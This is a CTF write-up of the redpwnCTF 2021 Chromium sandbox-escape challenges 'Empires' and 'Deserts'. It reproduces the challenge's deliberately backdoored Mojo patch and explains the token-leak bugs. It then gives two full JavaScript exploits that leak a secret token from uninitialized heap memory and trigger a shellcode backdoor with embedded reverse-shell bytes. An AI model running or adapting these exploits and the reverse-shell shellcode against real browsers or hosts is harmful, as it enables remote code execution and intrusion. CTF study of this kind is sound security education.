redpwnCTF 2021 - Empires and Deserts Writeup

  • Author: FizzBuzz101
  • Date:

This weekend, I participated in RedpwnCTF with my team Starrust Crusaders under the alias “The Static Lifetime Society”, coming in second place in the Open Division. Since this was my first time doing a Chromium SBX challenge, I thought it would be a good idea to make a writeup. I’m still relatively unfamiliar with Mojo concepts and sbx escape, so feel free to point out any mistakes I make.

Here are some relevant resources I used to help me understand Chromium’s architecture and sandbox escape techniques. I would recommend giving them a read before continuing.

Intro to Mojo

NotDeGhost’s Intro Post about SBX

Chromium Architectural Overview

Github Repo of Previous Real World SBX Escapes

PlaidCTF Mojo Writeup

Google Quals 2019 Monochromatic Writeup

Empires - 9 solves

We were given a Chromium binary, mojojs bindings, and a source patch. The only difference between the two parts is that part one is run with the CTF_CHALLENGE_EASY_MODE environment variable set. Chromium is also run with MojoJS bindings enabled. Usually in fullchain exploits, one would have to compromise the renderer first, overwrite the blink::RuntimeEnabledFeatures::is_mojo_js_enabled_ variable, refresh the page, and then attempt to escape the sandbox. Since we already have bindings enabled, we won’t have to worry about any of that. Here’s the provided patch:

  1diff --git a/content/browser/BUILD.gn b/content/browser/BUILD.gn
  2index b0596f197713..0602344bb282 100644
  3--- a/content/browser/BUILD.gn
  4+++ b/content/browser/BUILD.gn
  5@@ -1241,6 +1241,10 @@ source_set("browser") {
  6     "notifications/platform_notification_context_impl.h",
  7     "notifications/platform_notification_service_proxy.cc",
  8     "notifications/platform_notification_service_proxy.h",
  9+    "ozymandias_impl.cc",
 10+    "ozymandias_impl.h",
 11+    "ozymandias_mojom_traits.cc",
 12+    "ozymandias_mojom_traits.h",
 13     "payments/installed_payment_apps_finder_impl.cc",
 14     "payments/installed_payment_apps_finder_impl.h",
 15     "payments/payment_app_context_impl.cc",
 16diff --git a/content/browser/browser_interface_binders.cc b/content/browser/browser_interface_binders.cc
 17index c1666431a003..a8e6ab9a804b 100644
 18--- a/content/browser/browser_interface_binders.cc
 19+++ b/content/browser/browser_interface_binders.cc
 20@@ -130,6 +130,7 @@
 21 #include "third_party/blink/public/mojom/mediastream/media_stream.mojom.h"
 22 #include "third_party/blink/public/mojom/native_io/native_io.mojom.h"
 23 #include "third_party/blink/public/mojom/notifications/notification_service.mojom.h"
 24+#include "third_party/blink/public/mojom/desert.mojom.h"
 25 #include "third_party/blink/public/mojom/payments/payment_app.mojom.h"
 26 #include "third_party/blink/public/mojom/payments/payment_credential.mojom.h"
 27 #include "third_party/blink/public/mojom/peerconnection/peer_connection_tracker.mojom.h"
 28@@ -558,6 +559,9 @@ void PopulateFrameBinders(RenderFrameHostImpl* host, mojo::BinderMap* map) {
 29         &RenderFrameHostImpl::CreateAppCacheBackend, base::Unretained(host)));
 30   }
 31 
 32+  map->Add<blink::mojom::Ozymandias>(base::BindRepeating(
 33+      &RenderFrameHostImpl::CreateTheKingOfKings, base::Unretained(host)));
 34+
 35   map->Add<blink::mojom::AudioContextManager>(base::BindRepeating(
 36       &RenderFrameHostImpl::GetAudioContextManager, base::Unretained(host)));
 37 
 38diff --git a/content/browser/ozymandias_impl.cc b/content/browser/ozymandias_impl.cc
 39new file mode 100644
 40index 000000000000..c2080ec390fc
 41--- /dev/null
 42+++ b/content/browser/ozymandias_impl.cc
 43@@ -0,0 +1,69 @@
 44+#include "content/browser/ozymandias_impl.h"
 45+
 46+#include <sys/mman.h>
 47+
 48+namespace content {
 49+
 50+const size_t SHELLCODE_LENGTH = 0x1000;
 51+
 52+static base::UnguessableToken GetSecret() {
 53+  static base::UnguessableToken token = base::UnguessableToken::Create();
 54+
 55+  return token;
 56+}
 57+
 58+OzymandiasImpl::OzymandiasImpl() : token_{GetSecret()} {}
 59+
 60+OzymandiasImpl::~OzymandiasImpl() {
 61+  if(shellcode_mapping_) munmap(shellcode_mapping_, SHELLCODE_LENGTH);
 62+}
 63+
 64+void OzymandiasImpl::Visage(const std::vector<uint8_t>& command, const base::UnguessableToken& secret) {
 65+  if (command.size() > SHELLCODE_LENGTH) return;
 66+
 67+  if (secret == token_) {
 68+    if (!shellcode_mapping_) {
 69+      shellcode_mapping_ = mmap(NULL, SHELLCODE_LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 70+    }
 71+
 72+    memcpy(shellcode_mapping_, command.data(), command.size());
 73+
 74+    auto win_fn = (void(*)()) shellcode_mapping_;
 75+    win_fn();
 76+  }
 77+}
 78+
 79+void OzymandiasImpl::Despair(std::vector<mojo::StructPtr<blink::mojom::Wreck>> wrecks, DespairCallback callback) {
 80+  std::vector<mojo_base::BigBuffer> decay;
 81+  for (const mojo::StructPtr<blink::mojom::Wreck>& ptr: wrecks) {
 82+    std::unique_ptr<uint8_t[]> data{new uint8_t[ptr->size]};
 83+    
 84+    // inspired by crbug.com/1151865
 85+    if (getenv("CTF_CHALLENGE_EASY_MODE") == nullptr) {
 86+      if (ptr->size < ptr->length_to_use) continue;
 87+    }
 88+
 89+    switch (ptr->type) {
 90+      case blink::mojom::DesertType::DESOLATE:
 91+        // TODO(notdeghost): fix uninitialized data read
 92+        memset(data.get(), data.get()[0], ptr->size);
 93+
 94+        if (ptr->data) {
 95+          if (ptr->data->size() >= ptr->size) {
 96+            memcpy(data.get(), ptr->data->data(), ptr->size);
 97+          }
 98+        }
 99+        break;
100+      case blink::mojom::DesertType::EMPTY:
101+        memset(data.get(), 0, ptr->size);
102+        break;
103+    }
104+
105+    mojo_base::BigBuffer buffer(base::span<uint8_t>(data.get(), data.get() + ptr->length_to_use));
106+    decay.push_back(std::move(buffer));
107+  }
108+
109+  std::move(callback).Run(std::move(decay));
110+}
111+
112+}
113diff --git a/content/browser/ozymandias_impl.h b/content/browser/ozymandias_impl.h
114new file mode 100644
115index 000000000000..ce1b6d888657
116--- /dev/null
117+++ b/content/browser/ozymandias_impl.h
118@@ -0,0 +1,25 @@
119+#ifndef CONTENT_BROWSER_OZYMANDIAS_IMPL_H_
120+#define CONTENT_BROWSER_OZYMANDIAS_IMPL_H_
121+
122+#include "third_party/blink/public/mojom/desert.mojom.h"
123+#include "base/unguessable_token.h"
124+
125+namespace content {
126+
127+// TODO(notdeghost): figure out why this needs 0x100 alignment
128+class alignas(0x100) OzymandiasImpl : public blink::mojom::Ozymandias {
129+ public:
130+  OzymandiasImpl();
131+  ~OzymandiasImpl() override;
132+
133+  // blink::mojom::Ozymandias
134+  void Visage(const std::vector<uint8_t>& command, const base::UnguessableToken& secret) override;
135+  void Despair(std::vector<mojo::StructPtr<blink::mojom::Wreck>> sand, DespairCallback callback) override;
136+ private:
137+  void* shellcode_mapping_ = nullptr;
138+  base::UnguessableToken token_;
139+};
140+
141+}
142+
143+#endif
144diff --git a/content/browser/ozymandias_mojom_traits.cc b/content/browser/ozymandias_mojom_traits.cc
145new file mode 100644
146index 000000000000..90d7b271c972
147--- /dev/null
148+++ b/content/browser/ozymandias_mojom_traits.cc
149@@ -0,0 +1,18 @@
150+#include "content/browser/ozymandias_mojom_traits.h"
151+
152+#include <iostream>
153+
154+namespace mojo {
155+
156+bool StructTraits<blink::mojom::SandDataView, std::vector<mojo::StructPtr<blink::mojom::Wreck>>>::Read(
157+    blink::mojom::SandDataView data,
158+    std::vector<mojo::StructPtr<blink::mojom::Wreck>>* out) {
159+  if (!data.ReadWrecks(out)) {
160+    NOTREACHED();
161+  }
162+
163+  return true;
164+}
165+
166+
167+}
168diff --git a/content/browser/ozymandias_mojom_traits.h b/content/browser/ozymandias_mojom_traits.h
169new file mode 100644
170index 000000000000..1b8477927416
171--- /dev/null
172+++ b/content/browser/ozymandias_mojom_traits.h
173@@ -0,0 +1,20 @@
174+#ifndef CONTENT_BROWSER_OZYMANDIAS_MOJOM_TRAITS_H_
175+#define CONTENT_BROWSER_OZYMANDIAS_MOJOM_TRAITS_H_
176+
177+#include "third_party/blink/public/mojom/desert.mojom.h"
178+
179+namespace mojo {
180+
181+template <>
182+struct StructTraits<blink::mojom::SandDataView, std::vector<mojo::StructPtr<blink::mojom::Wreck>>> {
183+  // this type is never serialized
184+  static std::vector<blink::mojom::WreckPtr> wrecks(const std::vector<mojo::StructPtr<blink::mojom::Wreck>>& r) {
185+    return std::vector<blink::mojom::WreckPtr>();
186+  }
187+
188+  static bool Read(blink::mojom::SandDataView data, std::vector<mojo::StructPtr<blink::mojom::Wreck>>* out); 
189+};
190+
191+}
192+
193+#endif
194diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc
195index f050e8863b24..0aa75b374c6e 100644
196--- a/content/browser/renderer_host/render_frame_host_impl.cc
197+++ b/content/browser/renderer_host/render_frame_host_impl.cc
198@@ -85,6 +85,7 @@
199 #include "content/browser/navigation_subresource_loader_params.h"
200 #include "content/browser/net/cross_origin_embedder_policy_reporter.h"
201 #include "content/browser/net/cross_origin_opener_policy_reporter.h"
202+#include "content/browser/ozymandias_impl.h"
203 #include "content/browser/payments/payment_app_context_impl.h"
204 #include "content/browser/permissions/permission_controller_impl.h"
205 #include "content/browser/permissions/permission_service_context.h"
206@@ -8511,6 +8512,14 @@ void RenderFrameHostImpl::RequestAXTreeSnapshotCallback(
207   std::move(callback).Run(dst_snapshot);
208 }
209 
210+void RenderFrameHostImpl::CreateTheKingOfKings(
211+    mojo::PendingReceiver<blink::mojom::Ozymandias> receiver) {
212+  mojo::MakeSelfOwnedReceiver(
213+    std::make_unique<OzymandiasImpl>(),
214+    std::move(receiver)
215+  );
216+}
217+
218 void RenderFrameHostImpl::CreatePaymentManager(
219     mojo::PendingReceiver<payments::mojom::PaymentManager> receiver) {
220   if (!IsFeatureEnabled(blink::mojom::PermissionsPolicyFeature::kPayment)) {
221diff --git a/content/browser/renderer_host/render_frame_host_impl.h b/content/browser/renderer_host/render_frame_host_impl.h
222index f8ec7b5417ff..f7a9870148e5 100644
223--- a/content/browser/renderer_host/render_frame_host_impl.h
224+++ b/content/browser/renderer_host/render_frame_host_impl.h
225@@ -93,6 +93,7 @@
226 #include "third_party/blink/public/mojom/bluetooth/web_bluetooth.mojom-forward.h"
227 #include "third_party/blink/public/mojom/compute_pressure/compute_pressure.mojom-forward.h"
228 #include "third_party/blink/public/mojom/contacts/contacts_manager.mojom-forward.h"
229+#include "third_party/blink/public/mojom/desert.mojom-forward.h"
230 #include "third_party/blink/public/mojom/feature_observer/feature_observer.mojom-forward.h"
231 #include "third_party/blink/public/mojom/file_system_access/file_system_access_manager.mojom-forward.h"
232 #include "third_party/blink/public/mojom/font_access/font_access.mojom-forward.h"
233@@ -1519,6 +1520,9 @@ class CONTENT_EXPORT RenderFrameHostImpl
234   void CreatePermissionService(
235       mojo::PendingReceiver<blink::mojom::PermissionService> receiver);
236 
237+  void CreateTheKingOfKings(
238+      mojo::PendingReceiver<blink::mojom::Ozymandias> receiver);
239+
240   void CreatePaymentManager(
241       mojo::PendingReceiver<payments::mojom::PaymentManager> receiver);
242 
243diff --git a/third_party/blink/public/mojom/BUILD.gn b/third_party/blink/public/mojom/BUILD.gn
244index 2f3a38e5c577..41f8a5eb9530 100644
245--- a/third_party/blink/public/mojom/BUILD.gn
246+++ b/third_party/blink/public/mojom/BUILD.gn
247@@ -52,6 +52,7 @@ mojom("mojom_platform") {
248     "css/preferred_color_scheme.mojom",
249     "css/preferred_contrast.mojom",
250     "data_transfer/data_transfer.mojom",
251+    "desert.mojom",
252     "device/device.mojom",
253     "device_posture/device_posture.mojom",
254     "devtools/console_message.mojom",
255@@ -649,6 +650,18 @@ mojom("mojom_platform") {
256       traits_sources =
257           [ "//third_party/blink/common/user_agent/user_agent_mojom_traits.cc" ]
258     },
259+    {
260+      types = [
261+        {
262+          mojom = "blink.mojom.Sand"
263+          cpp = "::std::vector<::mojo::StructPtr<::blink::mojom::Wreck>> "
264+          move_only = true
265+        }
266+      ]
267+      traits_headers = [ 
268+        "//content/browser/ozymandias_mojom_traits.h"
269+      ]
270+    }
271   ]
272   blink_cpp_typemaps = [
273     {
274diff --git a/third_party/blink/public/mojom/desert.mojom b/third_party/blink/public/mojom/desert.mojom
275new file mode 100644
276index 000000000000..fe449f7ac904
277--- /dev/null
278+++ b/third_party/blink/public/mojom/desert.mojom
279@@ -0,0 +1,40 @@
280+// https://theanarchistlibrary.org/library/anonymous-desert
281+
282+module blink.mojom;
283+
284+import "mojo/public/mojom/base/big_buffer.mojom";
285+import "mojo/public/mojom/base/unguessable_token.mojom";
286+
287+// Desert (noun)
288+enum DesertType {
289+  // 1. A barren or desolate area
290+  DESOLATE = 0x1337,
291+  // 2. An empty or forsaken place
292+  EMPTY = 0x7331
293+};
294+
295+
296+// — Ozymandias, Percy Bysshe Shelley, 1817
297+interface Ozymandias {
298+  // Half sunk, a shattered visage lies, whose frown,
299+  // And wrinkled lip, and sneer of cold command,
300+  Visage(array<uint8> command, mojo_base.mojom.UnguessableToken secret);
301+
302+  // Look on my works, ye Mighty, and despair!’
303+  // Nothing beside remains. Round the decay
304+  Despair(Sand sand) => (array<mojo_base.mojom.BigBuffer> decay);
305+};
306+
307+// Of that colossal wreck, boundless and bare
308+struct Wreck {
309+  uint32 size;
310+  uint32 length_to_use;
311+  mojo_base.mojom.BigBuffer? data;
312+
313+  DesertType type;
314+};
315+
316+// The lone and level sands stretch far away.
317+struct Sand {
318+  array<Wreck> wrecks;
319+};

The Wreck struct holds a size, a length_to_use, an optional BigBuffer, and a DesertType enum with variants DESOLATE and EMPTY. Sand is an array of wrecks. The most important struct is Ozymandias, which has the methods Visage and Despair, a pointer reserved for a mmap page and an UnguessableToken. UnguessableTokens are cryptographically secure 128 bit random values. Note the author commented that the struct is 0x100 bytes, which can be verified as well when it hits in the new operator in that function (find the mangled name, and attach to the main privileged browser process to break).

The CreateKingofKings functions allows us to have the renderer request an interface from the browser process for the Ozymandias objects. Despair loops over the wrecks in a sand argument, allocating a new uint8_t array with a size determined by the wreck’s size field. It memsets it as 0 for both DesertTypes (although the first option doesn’t seem so from source, I believe the compiler optimized the argument to 0 as you can see in disassembly). For the DESOLATE option, if your BigBuffer has data and a size greater than or equal to the wreck’s size field, it transfers the contents contents to the uint8_t array up to the array’s size. Then, it creates a base::span (which is like std::span) based on the allocated uint8_t array’s start and your current wreck’s length_to_use field. Visage is a backdoor; it requires a uint8_t vector and a UnguessableToken. If your token matches the current Ozymandias’s UnguessableToken, the vector will be copied to a mmap’d rwx page and run as shellcode. One last thing to note is that when disassembling the constructor, you can see the UnguessableToken is a static variable. While randomized in different browser instances, it will remain the same within the same browser usage session.

Since the CTF_CHALLENGE_EASY_MODE env variable is set, we have a trivial heap OOB read because the length_to_use can now be bigger than size and the BigBuffer constructed from the span later will use length_to_use to bound the span. Moreover, the part that is unbounded by the size but bounded by the length_to_use will remain uninitialized. As the author mentioned, this concept is based on this real life sbx escape bug.

Based on these facts, the exploit plan is pretty simple. I don’t know much about PartitionAlloc behavior, but it’s pretty easy to see from a few leaks of uninitialized memory that chunks of similar sizes get returned in the same regions. This means that we can just spray some Ozymandias objects, and then also spray some chunks that allow for OOB uninitiailized read, and leak the token so we can abuse the backdoor.

Now, it should be pretty easy to just send in a reverse shell shellcode and escape the sandbox. However, one issue does remain, in that the mojojs bindings for UnguessableToken requires JS numbers, which won’t preserve the accuracy for many possible token values. This is a simple patch. I performed the following change in the bindings to encode them as doubles:

1  UnguessableToken.encode = function(encoder, val) {
2    var packed;
3    encoder.writeUint32(UnguessableToken.encodedSize);
4    encoder.writeUint32(0);
5    encoder.encodeStruct(codec.Double, val.high);
6    encoder.encodeStruct(codec.Double, val.low);
7  };

Then, this was my final exploit (I just used a x86_64 linux rev shell shellcode from shellstorm):

 1(async () => {
 2    conversion_buf = new ArrayBuffer(8);
 3    converter = new Uint8Array(conversion_buf);
 4    f64_buf = new Float64Array(conversion_buf);
 5    u64_buf = new Uint32Array(conversion_buf);
 6    function convertToHex(val)
 7    {
 8        return '0x' + val.toString(16);
 9    }
10    function hexdump(arr)
11    {
12        var qwords = []
13        for (var i = 0; i < arr.length; i += 8)
14        {
15            for (var j = 0; j < 8; j++)
16            {
17                converter[j] = arr[i + j];
18            }
19            temp = BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
20            qwords.push(convertToHex(temp));
21        }
22        return qwords
23    }
24    function itof(val) 
25    {
26        u64_buf[0] = Number(val & 0xffffffffn);
27        u64_buf[1] = Number(val >> 32n);
28        return f64_buf[0];
29    }
30    wreck = new blink.mojom.Wreck();
31    ozy = new Array(0x10);
32    dumps = new Array(ozy.length);
33    wreck.size = 0x100;
34    evil_size = (wreck.size + 0x100) * 8
35    wreck.lengthToUse = evil_size;
36    wreck.data = new mojoBase.mojom.BigBuffer();
37    wreck.data.bytes = [];
38    wreck.type = blink.mojom.DesertType.EMPTY;
39    sand = new blink.mojom.Sand();
40    sand.wrecks = [wreck];
41    for (var i = 0; i < ozy.length - 1; i++)
42    {
43        ozy[i] = new blink.mojom.OzymandiasPtr();
44        Mojo.bindInterface(blink.mojom.Ozymandias.name, mojo.makeRequest(ozy[i]).handle);
45        result = await ozy[i].despair(sand);
46        result = result.decay[0].$data;
47        dumps[i] = hexdump(result);
48    }
49    found = 0;
50    low = 0;
51    high = 0;
52    target_idx = 0;
53    for (var i = 0; i < ozy.length - 1; i++)
54    {
55        for (var j = 0; j < evil_size / 8 - 1; j++)
56        {
57            if (dumps[i][j].substring(dumps[i][j].length - 3, dumps[i][j].length) === "c50" && dumps[i][j+1] === "0x0")
58            {
59                console.log("FOUND");
60                console.log(dumps[i][j]);
61                console.log(dumps[i][j+1]);
62                console.log(dumps[i][j+2]);
63                console.log(dumps[i][j+3]);
64                high = BigInt(dumps[i][j+2]);
65                low = BigInt(dumps[i][j+3]);
66                found = 1;
67                target_idx = i + 1;
68                break;
69            }
70            if (found === 1)
71            {
72                break;
73            }
74        }
75    }
76    console.log("UnGuessable Tokens");
77    console.log(low);
78    console.log(high);
79    token = new mojoBase.mojom.UnguessableToken();
80    // mojojs binding is bugged, need float for accurate representation, need to patch mojo (use codec.Double for unguessable_token.mojom.js)
81    token.low = itof(low);
82    token.high = itof(high);
83    evil = new ArrayBuffer(0x200);
84    sc = new Uint8Array(evil);
85    fetch("/logs?readytowritesc")
86    rev_shell = [0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x6a, 0x6, 0x5a, 0x6a, 0x29, 0x58, 0xf, 0x5, 0x49, 0x89, 0xc0, 0x48, 0x31, 0xf6, 0x4d, 0x31, 0xd2, 0x41, 0x52, 0xc6, 0x4, 0x24, 0x2, 0x66, 0xc7, 0x44, 0x24, 0x2, 0x5, 0x39, 0xc7, 0x44, 0x24, 0x4, 0xa, 0x0, 0x2, 0x8, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x41, 0x50, 0x5f, 0x6a, 0x2a, 0x58, 0xf, 0x5, 0x48, 0x31, 0xf6, 0x6a, 0x3, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0xf, 0x5, 0x75, 0xf6, 0x48, 0x31, 0xff, 0x57, 0x57, 0x5e, 0x5a, 0x48, 0xbf, 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x8, 0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0xf, 0x5, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90];
87    for (var i = 0; i < rev_shell.length; i++)
88    {
89        sc[i] = rev_shell[i];
90    }
91    ozy = new blink.mojom.OzymandiasPtr();
92    Mojo.bindInterface(blink.mojom.Ozymandias.name, mojo.makeRequest(ozy).handle);
93    fetch("/log?abouttotriggersc")
94    ozy.visage(sc, token);
95})();

As for the html website to send to the browser bot, I used the following (which was based off of NotDeGhost’s post):

1<script src="/mojojs/mojo_bindings.js"></script>
2<script src="/mojojs/gen/third_party/blink/public/mojom/desert.mojom.js"></script>
3<script src="./exploit.js"></script>

Deserts - 4 solves

Now, the env variable is disabled. So what could possibly allow us to leak UnguessableTokens then? I have to admit that this step took an embarrasingly long time.

I first spent several hours reading up on this post about common Chromium IPC vulns and tried to compare them to the diff. Nothing was found this way.

Another idea teammates hypothesized was that maybe there is a TOCTOU race condition between when it checks for size and length_to_use and when length_to_use is used. However, data is serialized when passed to privileged browser process, so us trying to race in renderer is useless and will not apply changes there (and the window is too small since we need to abuse sizes of approximately 0x100).

Lastly, what really caught my attention is that if you have it not hit any of the cases in the switch statement, you will still get an uninitialized read. To do that, you need a new enum value, and unfortunately, Mojo validates all enums (unless the keyword extensible is used) along with several other validation checks. I thought this was an interesting scenario as we can change how we send things from the mojojs bindings and wanted to see if validation can be bypassed somehow. As I was messing around with wreck types, I noticed that I suddenly achieved a leak when I set my BigBuffer tag to 2, which stands for invalid storage. Debugging the codeflow, I noticed that the contents of the DesertType enum became 0 there somehow (if you set it to zero normally from renderer before serializing and sending, a validation error will occur and your renderer process will be killed). I wasn’t too sure why, but according to NotDeGhost after my solve, it is because this enum causes deserialization to fail, so the rest of the struct will not be populated (hence leaving DesertType to 0). The NOTREACHED() in the diff is not compiled into release builds, allowing for us to trigger this bug and get uninitialized read when it works with wreck structs.

This time, however, we can’t just spray some allocations and have an OOB leak data outside the chunk. We will need to free some OzymandiasImpl objects, which can be done pretty easily with .ptr.reset() as it is an interface implementation. Here is the final exploit:

 1(async () => {
 2    conversion_buf = new ArrayBuffer(8);
 3    converter = new Uint8Array(conversion_buf);
 4    f64_buf = new Float64Array(conversion_buf);
 5    u64_buf = new Uint32Array(conversion_buf);
 6    function convertToHex(val)
 7    {
 8        return '0x' + val.toString(16);
 9    }
10    function hexdump(arr)
11    {
12        var qwords = []
13        for (var i = 0; i < arr.length; i += 8)
14        {
15            for (var j = 0; j < 8; j++)
16            {
17                converter[j] = arr[i + j];
18            }
19            temp = BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
20            qwords.push(convertToHex(temp));
21        }
22        return qwords
23    }
24    function itof(val) 
25    {
26        u64_buf[0] = Number(val & 0xffffffffn);
27        u64_buf[1] = Number(val >> 32n);
28        return f64_buf[0];
29    }
30    wreck = new blink.mojom.Wreck();
31    wreck.size = 0x100;
32    wreck.lengthToUse = wreck.size;
33    wreck.data = new mojoBase.mojom.BigBuffer();
34    wreck.data.bytes = [];
35    wreck.data.$tag = 2;
36    wreck.type = blink.mojom.DesertType.DESOLATE;
37    sand = new blink.mojom.Sand();
38    sand.wrecks = [wreck];
39    
40
41    ozy = new blink.mojom.OzymandiasPtr();
42    Mojo.bindInterface(blink.mojom.Ozymandias.name, mojo.makeRequest(ozy).handle);
43
44    spray = 0x10;
45
46    tmp_ozy = new Array(spray);
47    for (var i = 0; i < tmp_ozy.length; i++)
48    {
49        tmp_ozy[i] = new blink.mojom.OzymandiasPtr();
50        Mojo.bindInterface(blink.mojom.Ozymandias.name, mojo.makeRequest(tmp_ozy[i]).handle);
51    }
52
53    dumps = new Array(spray);
54
55    fetch("log?spraying_and_allocating_unintiialized")
56
57    for (var i = 0; i < dumps.length; i++)
58    {
59        tmp_ozy[i].ptr.reset();
60        pepega = await ozy.despair(sand);
61        dumps[i] = hexdump(pepega.decay[0].$data);
62    }
63
64
65
66    possible_low = new Array(spray);
67    possible_high = new Array(spray);
68
69    fetch("log?recording_possible_tokens")
70
71    for (var i = 0; i < spray; i++)
72    {
73        possible_low[i] = itof(BigInt(dumps[i][3]))
74        possible_high[i] = itof(BigInt(dumps[i][2]))
75    }
76
77    sc = new Uint8Array(new ArrayBuffer(0x500));
78    rev_shell = [0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x6a, 0x6, 0x5a, 0x6a, 0x29, 0x58, 0xf, 0x5, 0x49, 0x89, 0xc0, 0x48, 0x31, 0xf6, 0x4d, 0x31, 0xd2, 0x41, 0x52, 0xc6, 0x4, 0x24, 0x2, 0x66, 0xc7, 0x44, 0x24, 0x2, 0x5, 0x39, 0xc7, 0x44, 0x24, 0x4, 0xa, 0x0, 0x2, 0x8, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x41, 0x50, 0x5f, 0x6a, 0x2a, 0x58, 0xf, 0x5, 0x48, 0x31, 0xf6, 0x6a, 0x3, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0xf, 0x5, 0x75, 0xf6, 0x48, 0x31, 0xff, 0x57, 0x57, 0x5e, 0x5a, 0x48, 0xbf, 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x8, 0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0xf, 0x5, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90];
79    for (var i = 0; i < sc.length; i++)
80    {
81        sc[i] = rev_shell[i];
82    }
83
84    token = new mojoBase.mojom.UnguessableToken();
85
86    fetch("log?preparing_to_trigger_backdoor")
87    for (var i = 0; i < spray; i++)
88    {
89        token.low = possible_low[i];
90        token.high = possible_high[i];
91        ozy.visage(sc, token);
92    }
93
94})();

Overall, I thought these were amazing challenges and finally pushed me to mess around a bit with Chromium sandbox escapes. Though introductory challenges into this complex topic, many of the concepts and basic techniques can probably be re-applied on more difficult sandbox escape challenges.

Here is the author’s writeup! Make sure to check it out.